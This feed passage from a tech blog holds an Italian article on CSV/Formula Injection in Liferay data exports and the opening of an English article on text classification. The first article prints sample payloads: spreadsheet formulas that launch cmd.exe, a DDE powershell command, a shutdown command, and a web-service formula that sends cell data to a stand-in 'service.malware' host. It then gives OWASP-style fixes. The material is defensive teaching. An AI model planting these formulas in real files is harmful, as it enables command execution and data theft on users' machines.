    border-radius: var(--grvsc-border-radius, 8px);
    font-feature-settings: normal;
  }
  
  .grvsc-code {
    display: inline-block;
    min-width: 100%;
  }
  
  .grvsc-line {
    display: inline-block;
    box-sizing: border-box;
    width: 100%;
    padding-left: 1.5rem;
    padding-left: var(--grvsc-padding-left, var(--grvsc-padding-h, 1.5rem));
    padding-right: 1.5rem;
    padding-right: var(--grvsc-padding-right, var(--grvsc-padding-h, 1.5rem));
  }
  
  .grvsc-line-highlighted {
    background-color: var(--grvsc-line-highlighted-background-color, transparent);
    box-shadow: inset var(--grvsc-line-highlighted-border-width, 4px) 0 0 0 var(--grvsc-line-highlighted-border-color, transparent);
  }
  
  .default-dark {
    background-color: #1E1E1E;
    color: #D4D4D4;
  }
&lt;/style&gt;</content:encoded></item><item><title><![CDATA[Attenti alla formula: Comma Separated Victims]]></title><link>https://techblog.smc.itbeware-of-formula</link><guid isPermaLink="false">https://techblog.smc.itbeware-of-formula</guid><pubDate>Mon, 04 Jan 2021 00:00:00 GMT</pubDate><content:encoded>&lt;h1 id=&quot;premessa&quot;&gt;Premessa&lt;/h1&gt;&lt;p&gt;Quante volte ti è capitato di aver a che fare con l&amp;#x27;export dei dati in formato CSV?&lt;/p&gt;&lt;p&gt;Diverse volte, suppongo.&lt;/p&gt;&lt;p&gt;E sei consapevole dei rischi a cui potresti andare incontro nel sottovalutare alcune vulnerabilità nello sviluppo di una componente per l&amp;#x27;export dei dati in formato CSV, aprendo la strada ad una serie di attacchi quali  &lt;strong&gt;Remote Command Execution&lt;/strong&gt;  e &lt;strong&gt;Data Breach&lt;/strong&gt;?&lt;/p&gt;&lt;p&gt;Se non hai mai sentito parlare di &lt;strong&gt;Injection&lt;/strong&gt; e, più precisamente di &lt;strong&gt;Formula Injection&lt;/strong&gt; o di &lt;strong&gt;CSV Injection&lt;/strong&gt;,  allora questo articolo farà certamente al caso tuo.&lt;/p&gt;&lt;p&gt;Nel mio &lt;a href=&quot;https://techblog.smc.it/it/2020-06-19/injection-attacks-how-to-prevent-with-liferay&quot;&gt;precedente articolo&lt;/a&gt; su questo techblog avevo già illustrato come gli attacchi di tipo Injection possono rappresentare un serio rischio per la sicurezza dei tuoi dati, e come prevenirli con Liferay.&lt;/p&gt;&lt;p&gt;La lettura dell&amp;#x27;articolo: &lt;a href=&quot;https://techblog.smc.it/it/2020-06-19/injection-attacks-how-to-prevent-with-liferay&quot;&gt;Injection - come prevenire con Liferay&lt;/a&gt; è dunque vivamente consigliata al fine di comprendere al meglio gli argomenti trattati; tuttavia se sei un lettore esperto e già conosci le insidie che si nascondono dietro questo tipo di attacchi e le strategie per neutralizzarli, allora non avrai di certo difficoltà a proseguire con la lettura.&lt;/p&gt;&lt;p&gt;In questo articolo vedremo nel dettaglio in cosa consistono queste tipologie di attacchi, le possibile tecniche per neutralizzarli e come utilizzare al meglio le API offerte dal framework Liferay per il corretto encoding dei valori da esportare in un CSV.&lt;/p&gt;&lt;h1 id=&quot;il-problema-della-validazione-degli-input&quot;&gt;Il problema della validazione degli input&lt;/h1&gt;&lt;p&gt;Come saprai, la prima regola per scongiurare gli attacchi di tipo injection consiste nella validazione degli input: ciò consentirà di escludere alcuni caratteri più o meno speciali che potrebbero rivelarsi assai utili per l&amp;#x27;attaccante.
Purtroppo non sempre è facile definire una espressione regolare che escluda tutti i caratteri non desiderati, eccetto quelli che appartengono propriamente al dominio dell&amp;#x27;input e dei quali non possiamo farne a meno.
Un esempio può essere il carattere apostrofo &amp;quot; &amp;#x27; &amp;quot; che non possiamo di certo escludere dai campi di input per il nome ed il cognome, ma del quale faremmo volentieri a meno in quanto lo stesso carattere è sia un valido separatore di attributi in HTML che un carattere indispensabile nel linguaggio SQL per definire sequenze di caratteri. &lt;/p&gt;&lt;p&gt;La presenza di un efficace meccanismo di &lt;strong&gt;validazione degli input&lt;/strong&gt; è dunque fondamentale, e rappresenta la &lt;strong&gt;prima regola&lt;/strong&gt; di difesa nonché l&amp;#x27;unica strategia per prevenire gli attacchi di tipo injection.&lt;/p&gt;&lt;p&gt;Inoltre è sempre opportuno assicurarsi di non aver trascurato la &lt;strong&gt;seconda regola&lt;/strong&gt; per la difesa dagli attacchi di tipo injection, che consiste nel neutralizzare gli attacchi mediante &lt;strong&gt;output sanitization&lt;/strong&gt; o  &lt;strong&gt;output escaping&lt;/strong&gt;. &lt;/p&gt;&lt;p&gt;Nonostante tutte queste precauzioni potrebbe però accadere che, del tutto ignari dei rischi che potrebbero derivare dalla mancanza di una strategia di codifica in output dei valori delle celle che si intende esportare, tutte queste attenzioni che abbiamo dato all&amp;#x27;output sanitization vengono poi trascurate quando ci troviamo di fronte ad una componente per l&amp;#x27;esportazione del CSV. &lt;/p&gt;&lt;p&gt;&lt;em&gt;Niente di più pericoloso...&lt;/em&gt;&lt;/p&gt;&lt;p&gt;Per mostrarti in modo efficace il rischio che stai correndo, concentriamoci ora su uno dei campi di input più insidiosi da validare: il campo &lt;em&gt;note&lt;/em&gt;.
Spesso, per dare più libertà all&amp;#x27;utente, oltre ai caratteri alfanumerici in un campo &lt;em&gt;note&lt;/em&gt; multilinea sono consentiti i caratteri di punteggiatura ed alcuni simboli di valute oltre al simbolo &amp;quot;%&amp;quot; percentuale o altri caratteri speciali. &lt;/p&gt;&lt;p&gt;Ma &lt;strong&gt;nelle situazioni più comuni&lt;/strong&gt; non effettuiamo alcun tipo di validazione né di escaping dei valori delle celle esportate nel CSV, perché in genere &lt;strong&gt;non sospettiamo affatto delle insidie che possono nascondersi dietro l&amp;#x27;interpretazione di valori non desiderati in un foglio di calcolo&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Nei fogli di calcolo più diffusi nelle Office suite, come LibreOffice Calc o Microsoft Excel, alcune funzioni del foglio di calcolo possono rivelarsi un serio problema dal punto di vista della sicurezza. &lt;/p&gt;&lt;p&gt;In particolare, potremmo inserire in uno dei campi di input in un form la sequenza:&lt;/p&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;&quot; data-index=&quot;0&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;=COLLEG.IPERTESTUALE(&amp;quot;C:\Windows\System32\cmd.exe&amp;quot;;&amp;quot;Apri la pagina web&amp;quot;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Una volta richiesta l&amp;#x27;esportazione in formato CSV, nella cella corrispondente verrà mostrato un link che consentirà all&amp;#x27;utente di eseguire (previa conferma) il comando al percorso indicato.&lt;/p&gt;&lt;p&gt;Nell&amp;#x27;esempio aprirà il prompt dei comandi sulla macchina della vittima; in questo modo l&amp;#x27;attaccante è riuscito a sfruttare un attacco &lt;strong&gt;Formula Injection&lt;/strong&gt; al fine di ottenere poi l&amp;#x27;esecuzione di un comando del Sistema Operativo (&lt;strong&gt;Remote Command Execution&lt;/strong&gt; o più propriamente &lt;strong&gt;OS Command Injection&lt;/strong&gt;)&lt;/p&gt;&lt;p&gt;Allarmante, vero?&lt;/p&gt;&lt;p&gt;Del resto potremmo ovviare semplicemente con l&amp;#x27;aggiunta di qualche meccanismo di validazione, se non fosse per il fatto che, trattandosi di hyperlink, di certo il foglio di calcolo potrà interpretare correttamente anche la seguente stringa in formato URL encoded:&lt;/p&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;&quot; data-index=&quot;1&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;=COLLEG.IPERTESTUALE(&amp;quot;C%3A%5Cwindows%5Csystem32%5Ccmd.exe&amp;quot;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;ecco dunque il motivo per il quale potrebbe risultare complicato proteggersi da un attacco di questo tipo nei casi in cui alcuni simboli come il percentuale, l&amp;#x27;uguale o le parentesi tonde debbano essere accettati in input a meno di non voler limitare l&amp;#x27;applicazione venendo meno alle necessità concordate con l&amp;#x27;utente.&lt;/p&gt;&lt;p&gt;Per fortuna i fogli di calcolo che supportano questa tipologia di formule consentono la sola esecuzione del file indicato sul percorso e non il passaggio dei parametri, altrimenti potremmo effettuare lo &lt;strong&gt;shutdown&lt;/strong&gt; immediato di un Sistema Operativo Windows iniettando il comando:&lt;/p&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;&quot; data-index=&quot;2&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;C:\Windows\System32\cmd.exe /C &amp;quot;shutdown /p&amp;quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;ma ciò è soltanto una magra consolazione se pensiamo che invece è ammessa l&amp;#x27;esecuzione di script, come i .vbs (VBScript) o i .bat (Batch) nel caso di Microsoft Windows.&lt;/p&gt;&lt;p&gt;Qualora la vittima utilizzasse invece versioni precedenti della suite Office oppure una versione recente in cui è abilitato il servizio &lt;a href=&quot;https://docs.microsoft.com/it-it/office/troubleshoot/excel/security-settings&quot;&gt;&lt;strong&gt;Dynamic Data Exchange&lt;/strong&gt;&lt;/a&gt;, allora potrebbe anche rischiare di subire un attacco ben più grave che consente l&amp;#x27;esecuzione di comandi stavolta anche con il supporto dei parametri:&lt;/p&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;&quot; data-index=&quot;3&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;=cmd|&amp;#x27;/K powershell ssh ...omitted...&amp;#x27;!A0&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Attacchi di questo tipo mediante &lt;strong&gt;Formula Injection&lt;/strong&gt; sono dunque degli stratagemmi per arrivare ad altre tipologie di attacchi ben più pericolosi quali &lt;strong&gt;l&amp;#x27;esecuzione di un comando&lt;/strong&gt; del Sistema Operativo o  lanciare una applicazione in modo indesiderato.&lt;/p&gt;&lt;p&gt;Dal momento che si accennava agli hyperlink, un attaccante potrebbe sfruttare un attacco di questo tipo anche per l&amp;#x27;invocazione di servizi web malevoli mediante la funzione per l&amp;#x27;invocazione dei servizi web.&lt;/p&gt;&lt;p&gt;Ad esempio, un attaccante potrebbe sfruttare una tale vulnerabilità per iniettare una formula che consenta l&amp;#x27;invocazione di un servizio web a sua scelta, al fine di ricevere i dati contenuti nelle altre celle.
Tale formula potrà essere iniettata in un campo di input di un form, per essere poi salvata nel database applicativo.
In un secondo momento, un utente che richiederà l&amp;#x27;export dei dati otterrà così il file CSV in cui il valore di una delle cella conterrà questa formula potenzialmente dannosa.
L&amp;#x27;utente che aprirà il file CSV, ignaro di tutto, potrebbe (involontariamente) invocare una HTTP Request verso il servizio malevolo:&lt;/p&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;&quot; data-index=&quot;4&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;=SERVIZIO.WEB(CONCATENA(&amp;quot;http://service.malware?d=&amp;quot;; C6&amp;amp;&amp;quot;,&amp;quot;&amp;amp;C7&amp;amp;&amp;quot;,&amp;quot;&amp;amp;C8))&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;passando nei parametri in GET i dati contenuti in determinate celle, essendo così vittima di un attacco di tipo &lt;strong&gt;Formula Injection&lt;/strong&gt; ai fini di un &lt;strong&gt;Data Breach&lt;/strong&gt; (come avviene con il parametro &amp;quot;d&amp;quot; che nell&amp;#x27;esempio contiene la concatenazione dei valori presenti nelle celle C6, C7 e C8).&lt;/p&gt;&lt;h1 id=&quot;le-api-di-liferay-per-lencoding-del-csv&quot;&gt;Le API di Liferay per l&amp;#x27;encoding del CSV&lt;/h1&gt;&lt;p&gt;La classe &lt;a href=&quot;https://docs.liferay.com/ce/portal/7.3-latest/javadocs/portal-kernel/com/liferay/portal/kernel/util/CSVUtil.html&quot;&gt;CSVUtil&lt;/a&gt; espone i seguenti metodi statici:&lt;/p&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;&quot; data-index=&quot;5&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;encode(Object object)&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;encode(String s)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;il primo metodo, nel caso di un array, effettuerà la concatenazione dei valori mediante l&amp;#x27;operazione di merge, per invocare poi l&amp;#x27;altro metodo encode.&lt;/p&gt;&lt;p&gt;Utilizzare l&amp;#x27;encoding dei valori in output eviterà eventuali occorrenze di apici doppie o altri caratteri che possono creare problemi in fase di interpretazione del CSV.&lt;/p&gt;&lt;p&gt;Benché utile dobbiamo comunque prestare attenzione al fatto che il metodo &lt;strong&gt;encode()&lt;/strong&gt;, purtroppo, &lt;strong&gt;non avrà alcuna efficacia&lt;/strong&gt; nel neutralizzare gli attacchi di tipo &lt;strong&gt;Formula Injection&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Liferay, sempre attenta ai problemi di sicurezza, ha già da tempo rilasciato una patch di sicurezza &lt;a href=&quot;https://portal.liferay.dev/learn/security/known-vulnerabilities/-/asset_publisher/HbL5mxmVrnXW/content/id/113765052&quot;&gt;CST-7058&lt;/a&gt; il cui obiettivo però consiste esclusivamente nell&amp;#x27;impedire l&amp;#x27;esportazione in formato CSV per le componenti Forms e Liste Dati Dinamici. Come descritto in una nota nella CST-7058:&lt;/p&gt;&lt;div class=&quot;Quote-module--content--25D05&quot;&gt;&lt;blockquote&gt;&lt;p&gt;This patch does not &amp;quot;solve&amp;quot; the CSV injection issue since the issue
can only be fixed by the spreadsheet program (i.e., this is not a security vulnerability in Liferay Portal). With this patch, administrators will have the ability to disable CSV export for DDL and Form. Administrators can also present a warning about CSV injection to users before the CSV file is exported.&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;h1 id=&quot;come-neutralizzare-gli-attacchi-formula-injection&quot;&gt;Come neutralizzare gli attacchi Formula Injection&lt;/h1&gt;&lt;p&gt;Arrivati a questo punto ti starai chiedendo quali sono le strategie utili a neutralizzare questo tipo di attacchi.&lt;/p&gt;&lt;p&gt;In accordo con quanto &lt;a href=&quot;https://owasp.org/www-community/attacks/CSV_Injection&quot;&gt;consigliato da &lt;strong&gt;OWASP&lt;/strong&gt;&lt;/a&gt; in merito alle strategie di neutralizzazione degli attacchi di tipo &lt;strong&gt;CSV Injection&lt;/strong&gt; o &lt;strong&gt;Formula Injection&lt;/strong&gt;, sarebbe sufficiente assicurarsi che il contenuto di nessuna cella inizi per:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;= (&lt;em&gt;uguale&lt;/em&gt;)&lt;/li&gt;&lt;li&gt;+  (&lt;em&gt;più&lt;/em&gt;)&lt;/li&gt;&lt;li&gt;-  (&lt;em&gt;meno&lt;/em&gt;)&lt;/li&gt;&lt;li&gt;@  (&lt;em&gt;chiocciola&lt;/em&gt;)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;in questo modo si eviterebbe al foglio di calcolo di interpretare come formula il valore contenuto nella cella.&lt;/p&gt;&lt;p&gt;Qualora non fosse possibile possiamo anteporre il carattere apostrofo &amp;quot; &amp;#x27; &amp;quot; al valore della cella,
anche se ciò non ci renderà immuni da quell&amp;#x27;utente che decida (inconsapevolmente?) di eliminare l&amp;#x27;apostrofo.&lt;/p&gt;&lt;p&gt;In tal caso potremmo adottare strategie più o meno invasive di sanitizzazione al fine di proteggere anche gli utenti più &lt;em&gt;intraprendenti&lt;/em&gt; da se stessi.&lt;/p&gt;&lt;p&gt;Suggeriamo inoltre di applicare le regole sopraindicate &lt;strong&gt;indipendentemente dalla presenza di uno o più caratteri di apice doppia&lt;/strong&gt; all&amp;#x27;inizio del valore. Questo perchè la seguente:&lt;/p&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;&quot; data-index=&quot;6&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&amp;quot;=SOMMA(1+1)&amp;quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;verrebbe interpretata come una formula valida dal foglio di calcolo quando caricata da un CSV, con il conseguente rischio di essere eseguita inavvertitamente dall&amp;#x27;utente.&lt;/p&gt;&lt;h1 id=&quot;conclusioni&quot;&gt;Conclusioni&lt;/h1&gt;&lt;p&gt;Gli attacchi di tipo &lt;strong&gt;Formula Injection&lt;/strong&gt; possono rivelarsi molto dannosi e la loro azione avviene in diverse fasi:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Fase 1&lt;/strong&gt;: l&amp;#x27;attaccante sfrutta uno o più campi di input in un form per iniettare la formula, che verrà così salvata sul database insieme agli altri campi.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Fase 2&lt;/strong&gt;: un utente accede all&amp;#x27;applicazione ed effettua l&amp;#x27;esportazione in formato CSV dei dati precedentemente salvati. Tra questi vi è il campo contenente come valore formula iniettata precedentemente.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Fase 3&lt;/strong&gt;: lo stesso utente, oppure un altro utente che riceverà il file esportato, aprirà il CSV con un programma (foglio di calcolo) quali LibreOffice Calc o Microsoft Excel,
ed inavvertitamente potrebbe cliccare su un link malevolo o eseguire la formula presente in una delle celle.
In questa fase avrà luogo l&amp;#x27;attacco vero e proprio dal momento che, come avrete già intuito, un attacco &lt;strong&gt;Formula Injection&lt;/strong&gt; è una strategia utilizzata per veicolare altri tipi di attacchi ben più dannosi quali il &lt;strong&gt;Remote Command Excecution&lt;/strong&gt; e  &lt;strong&gt;Data Breach&lt;/strong&gt; che possono eseguire comandi o applicazioni del Sistema Operativo mettendo a rischio il funzionamento dell&amp;#x27;intero sistema, oppure aprire connessioni verso servizi remoti scelti dall&amp;#x27;attaccante per l&amp;#x27;invio di dati sensibili.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;A differenza degli attacchi di tipo &lt;strong&gt;XSS&lt;/strong&gt;, queste tipologie di attacchi agiscono silenziosamente ed anche a notevole distanza di tempo rispetto all&amp;#x27;istante in cui avvengono, e possono essere più complicati da individuare.&lt;/p&gt;&lt;p&gt;In modo simile agli attacchi di tipo &lt;strong&gt;XSS&lt;/strong&gt;, le contromisure che possiamo adottare al fine di proteggerci da questo tipo di attacchi consistono nel:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;prevenire&lt;/strong&gt; l&amp;#x27;attacco mediante opportuna &lt;strong&gt;validazione&lt;/strong&gt; dei campi di input;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;neutralizzare&lt;/strong&gt; gli attacchi escludendo in output o anteponendo il carattere apostrofo &amp;quot; &amp;#x27; &amp;quot; ai valori che iniziano per uno dei simboli sottoelencati &lt;strong&gt;indipendentemente dalla presenza di eventuali doppie apici iniziali&lt;/strong&gt; :&lt;/p&gt;&lt;ul&gt;&lt;li&gt;= (&lt;em&gt;uguale&lt;/em&gt;)&lt;/li&gt;&lt;li&gt;+  (&lt;em&gt;più&lt;/em&gt;)&lt;/li&gt;&lt;li&gt;-  (&lt;em&gt;meno&lt;/em&gt;)&lt;/li&gt;&lt;li&gt;@  (&lt;em&gt;chiocciola&lt;/em&gt;)&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Prestate dunque molta attenzione alle vostre componenti di esportazione in CSV, applicando dove possibile i suggerimenti riportati in questo articolo, e restate sintonizzati sul canale &lt;a href=&quot;https://techblog.smc.it/it/category/liferay/&quot;&gt;&lt;strong&gt;Liferay - Techblog SMC&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Per ulteriori approfondimenti:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://payatu.com/csv-injection-basic-to-exploit&quot;&gt;https://payatu.com/csv-injection-basic-to-exploit&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://labs.bishopfox.com/tech-blog/2018/06/server-side-spreadsheet-injections&quot;&gt;https://labs.bishopfox.com/tech-blog/2018/06/server-side-spreadsheet-injections&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://www.exploresecurity.com/from-csv-to-cmd-to-qwerty/&quot;&gt;http://www.exploresecurity.com/from-csv-to-cmd-to-qwerty/&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/attacks/CSV_Injection&quot;&gt;https://owasp.org/www-community/attacks/CSV_Injection&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/1236.html&quot;&gt;https://cwe.mitre.org/data/definitions/1236.html&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/it-it/office/troubleshoot/excel/security-settings&quot;&gt;https://docs.microsoft.com/it-it/office/troubleshoot/excel/security-settings&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://techblog.smc.it/it/2020-06-19/injection-attacks-how-to-prevent-with-liferay&quot;&gt;https://techblog.smc.it/it/2020-06-19/injection-attacks-how-to-prevent-with-liferay&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://portal.liferay.dev/learn/security/known-vulnerabilities/-/asset_publisher/HbL5mxmVrnXW/content/id/113765052&quot;&gt;https://portal.liferay.dev/learn/security/known-vulnerabilities/-/asset_publisher/HbL5mxmVrnXW/content/id/113765052&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;style class=&quot;grvsc-styles&quot;&gt;
  .grvsc-container {
    overflow: auto;
    -webkit-overflow-scrolling: touch;
    padding-top: 1rem;
    padding-top: var(--grvsc-padding-top, var(--grvsc-padding-v, 1rem));
    padding-bottom: 1rem;
    padding-bottom: var(--grvsc-padding-bottom, var(--grvsc-padding-v, 1rem));
    border-radius: 8px;
    border-radius: var(--grvsc-border-radius, 8px);
    font-feature-settings: normal;
  }
  
  .grvsc-code {
    display: inline-block;
    min-width: 100%;
  }
  
  .grvsc-line {
    display: inline-block;
    box-sizing: border-box;
    width: 100%;
    padding-left: 1.5rem;
    padding-left: var(--grvsc-padding-left, var(--grvsc-padding-h, 1.5rem));
    padding-right: 1.5rem;
    padding-right: var(--grvsc-padding-right, var(--grvsc-padding-h, 1.5rem));
  }
  
  .grvsc-line-highlighted {
    background-color: var(--grvsc-line-highlighted-background-color, transparent);
    box-shadow: inset var(--grvsc-line-highlighted-border-width, 4px) 0 0 0 var(--grvsc-line-highlighted-border-color, transparent);
  }
  
  .default-dark {
    background-color: #1E1E1E;
    color: #D4D4D4;
  }
&lt;/style&gt;</content:encoded></item><item><title><![CDATA[Text Classification using Machine Learning]]></title><link>https://techblog.smc.itnlp-text-clf</link><guid isPermaLink="false">https://techblog.smc.itnlp-text-clf</guid><pubDate>Mon, 21 Dec 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;This article is part of the series dedicated to the most relevant
&lt;a href=&quot;https://en.wikipedia.org/wiki/Natural_language_processing&quot;&gt;&lt;strong&gt;Natural Language Processing&lt;/strong&gt;&lt;/a&gt; tasks.
Learn more also the others starting from &lt;a href=&quot;https://techblog.smc.it/en/2020-12-11/nlp-ner&quot;&gt;first article&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Also for an introduction on the basic aspects of Machine Learning read the article
&lt;a href=&quot;https://techblog.smc.it/en/2020-05-25/machine-learning-industry&quot;&gt;&lt;strong&gt;Machine learning and applications for industry&lt;/strong&gt;&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&lt;h1 id=&quot;text-classification&quot;&gt;Text Classification&lt;/h1&gt;&lt;p&gt;This article discusses the task of &lt;a href=&quot;https://en.wikipedia.org/wiki/Document_classification&quot;&gt;text classification&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;With text classification we refer, in fact, to the use of &lt;a href=&quot;https://en.wikipedia.org/wiki/Supervised_learning&quot;&gt;&lt;strong&gt;supervised&lt;/strong&gt;&lt;/a&gt;
approaches of classification type, with the goal of associating textual content with characteristics and classes defined a priori.&lt;br/&gt;
Examples of text classification are:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Sentiment Analysis&lt;/strong&gt;: for example classify reviews with respect to sentiment (negative and positive)&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Ticket Classification&lt;/strong&gt;: associate support tickets to the reference category, rather than by urgency&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Document Tagging&lt;/strong&gt;: classify textual content by associating them with multiple textual classes&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;These are just some of the possible applications that can be achieved through text classification. Fall within this
fiel, all applications that consist in classifying textual contents with respect to a set of labels or classes defined a priori.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:523px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/3b82047389f2c08b8a2412e082dd9c65/3e286/class_bin.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:64.66666666666666%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;259\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20259\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M301%2040c-3%204-3%2030%200%2032%203%203%2034%203%2036%200%202-2%202-29-1-32-2-3-32-3-35%200m4%2016v13h27V43h-27v13m10-7c-1%203-2%205-4%206-3%201-3%202-3%206s1%204%205%205%2013%200%2013-1l-4-1-3-1h4c5%200%205-2%200-2l-4-1%205-1%204-1-4-1-5-1h3c5%200%205-2%200-3-3%200-3%200-3-4%200-5-2-5-4%200m1%2036v5h-11v7h11v6c0%205%200%205%203%205%202%200%202%200%202-5v-6h6c5%200%206-1%206-3%200-3-1-4-6-4h-6v-6c0-5%200-5-2-5-3%200-3%200-3%206m-25%2018c-3%201-4%203-2%203s-10%209-29%2022a230%20230%200%2000-14%2010l-1-11v-12H130v25l-4-2c-5-2-6-3-6%200l-10%201H99v-33H19v35l1%2035h79v-33h11c10%200%2011%200%2010%202%200%203%202%203%206%200s4-3%204%2010v12h115v-23l5%203a316%20316%200%200121%2013c10%205%2020%2013%2019%2013-4%201-1%203%204%203%206%200%206%200%203-6-2-4-4-5-4-2a1094%201094%200%2000-39-23c-7-4-7-4-3-7l7-4a256%20256%200%200129-21c4-3%206-4%206-2%201%202%202%201%205-4l2-5h-3l-6%201m15%2080v4h24v-9h-24v5m-5%2012c-2%202-2%204-2%2017%200%2019-1%2018%2020%2018%2020%200%2019%201%2019-18%200-20%201-19-19-19-15%200-16%200-18%202m4%2017l1%2012h26v-24h-27v12m4-10l-1%205c0%204%200%205%202%205l4%206c3%206%205%207%205%201%200-4%200-4%204-4l4-1v-8l-4-1h-4l3-1c3%200%204-1%204-2s-16-2-17%200\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/3b82047389f2c08b8a2412e082dd9c65/c85cb/class_bin.webp 300w,/static/3b82047389f2c08b8a2412e082dd9c65/210f1/class_bin.webp 523w&quot; sizes=&quot;(max-width: 523px) 100vw, 523px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/3b82047389f2c08b8a2412e082dd9c65/5a46d/class_bin.png 300w,/static/3b82047389f2c08b8a2412e082dd9c65/3e286/class_bin.png 523w&quot; sizes=&quot;(max-width: 523px) 100vw, 523px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 1 - Binary classification: Sentiment Analysis&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/3b82047389f2c08b8a2412e082dd9c65/3e286/class_bin.png&quot; title=&quot;Figura 1 - Binary classification: Sentiment Analysis&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 1 - Binary classification: Sentiment Analysis&lt;/figcaption&gt;
